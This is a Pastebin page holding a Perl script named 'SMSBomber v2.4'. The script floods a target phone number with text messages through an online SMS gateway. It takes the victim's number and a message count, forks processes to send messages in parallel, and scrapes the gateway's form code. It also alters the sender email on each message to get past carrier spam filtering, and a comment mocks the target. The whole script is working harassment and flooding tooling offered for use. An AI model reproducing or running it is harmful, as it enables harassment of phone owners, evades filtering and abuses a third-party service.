Advertisement
Guest User

Perl SMS Bomber

a guest
Mar 3rd, 2012
1,761
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.97 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use LWP::UserAgent;
  4. use LWP::Simple;
  5. use strict;
  6. use warnings;
  7. use threads;
  8. use threads::shared;
  9. use Config;
  10. use HTML::TreeBuilder;
  11. use HTML::Element;
  12.  
  13.  
  14.  
  15. $Config{useithreads} or die('Recompile Perl with threads to run this program.'); #thread(enabled) check
  16.  
  17.  
  18. print"**********************************************************\n";
  19. print"*********************** SMSBomber v2.4 *******************\n";
  20. print"************************By: juicyjuice********************\n";
  21. print"**********************************************************\n";
  22.  
  23. ##getting inputs, need to get rid of whitespace and or \n character with chomp();
  24. print"Enter the number you want to bomb: \n";
  25. chomp(my $phoneNum = <STDIN>);
  26.  
  27. print "Enter your carrier (AT&T=41|Verizon=203|Sprint=176): \n";
  28. chomp(my $carrier = <STDIN>);
  29.  
  30. print "How many messages?: \n";
  31. chomp(my $amountOfMessages = <STDIN>);
  32.  
  33. print "Enter your email: \n";
  34. chomp(my $from = <STDIN>);
  35.  
  36. print "Enter your subject: \n";
  37. chomp(my $subject = <STDIN>);
  38.  
  39. print "Enter your SMS MSG: \n";
  40. chomp(my $message = <STDIN>);
  41.  
  42. print "**********************************************************\n";
  43. print "**BOMBING\n";
  44. my $numOfBombsSent :shared = 0;      
  45. my $inc :shared = 0;
  46. $inc = 10000; #incrementing variable used for carriers that sort messages by email instead of phone #
  47. &main;
  48.  
  49. sub main{
  50.     while($numOfBombsSent<$amountOfMessages){
  51.         &checkAndBypassEmailFilter;
  52.         if(($amountOfMessages-$numOfBombsSent)==1){
  53.             &checkAndBypassEmailFilter;
  54.             &bomb;
  55.         } else {
  56.             my $pid = fork();   #fork splits process into two
  57.             if($pid){      #immediately have to handle both ($pid,0) <-child and ($pid) <- parent **parent 
  58.                 if($numOfBombsSent<$amountOfMessages){
  59.                     &checkAndBypassEmailFilter;             #has to make sure that child is done executing before it finishes. or else child will
  60.                     &bomb; #parent                          #become a zombie
  61.                 }                          
  62.                 waitpid($pid, 0);
  63.             } elsif($pid == 0){
  64.                 if($numOfBombsSent<$amountOfMessages){
  65.                     &checkAndBypassEmailFilter;
  66.                     &bomb; #child
  67.                 }
  68.             } else {
  69.                 die "Fork failed";
  70.             }
  71.         }
  72.     }
  73. }
  74.  
  75. sub checkAndBypassEmailFilter{
  76.     if($carrier==203 or $carrier==176){ #this is for some carriers that organize based on the email function (thus not getting the full bomb effect)
  77.                                         #so this increments their email by one each time to start a new convo :D gotcha bitch
  78.         my @email = split('@', $from);
  79.         lock($inc);                     #locks $inc variable so nothing else can modify it until it's done with it.
  80.         $from = $email[0].$inc++.'@'.$email[1];
  81.     }
  82. }
  83. sub postUrl {
  84.     my $content =
  85.     my($url, $formref) = @_;
  86.     my $ua = new LWP::UserAgent(timeout => 300); # set up a UserAgent object to handle request
  87.     $ua->agent('perlproc/1.0');
  88.     my $response = $ua->post($url, $formref);  #no need to handle the response from server.
  89.     if($response->is_success){
  90.         return $response->content;
  91.     } else {
  92.         return "POST failure";
  93.     }
  94. }
  95. sub Return_Code { #From Saustin's SMS bomber
  96.     my $content = $_[0];
  97.     my $tree = HTML::TreeBuilder->new;
  98.     $tree->parse($content);
  99.     $tree->elementify();
  100.  
  101.     my @elements = $tree->find("INPUT"); #because they haven't heard of lowercase
  102.     foreach(@elements)
  103.     {
  104.         my $ele = $_;
  105.         if($ele->attr('NAME') eq "code")
  106.         {
  107.             return $ele->attr('value');
  108.         }
  109.     }
  110. }
  111.  
  112. sub bomb{
  113.     my $url = "http://www.onlinetextmessage.com/send.php";
  114.     my $indexUrl = "http://www.onlinetextmessage.com/";
  115.     my $lwp = get $indexUrl;
  116.     my $code = Return_Code($lwp);
  117.     #print "Code: $code\n";
  118.     my %param = ('carrier' => $carrier, 'code' => $code, 'from' => $from, 'message' => $message, 'number' => $phoneNum,'quicktext' => '','remember' => 'y', 's' => 'Send Message','subject' => $subject);
  119.     &postUrl($url,\%param);
  120.     lock($numOfBombsSent);          #locks $numOfBombsSent variable so nothing else can modify it until it's done with it.
  121.     $numOfBombsSent++;
  122.     print "Bomb Status: [",($numOfBombsSent),"/",($amountOfMessages),"]\n";
  123. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement